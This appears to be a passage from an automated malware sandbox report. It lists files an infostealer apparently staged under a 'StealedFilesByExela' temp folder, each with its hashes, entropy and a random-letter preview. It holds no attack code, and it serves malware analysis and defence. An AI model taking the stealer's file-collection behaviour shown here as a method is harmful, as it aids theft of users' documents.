Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUM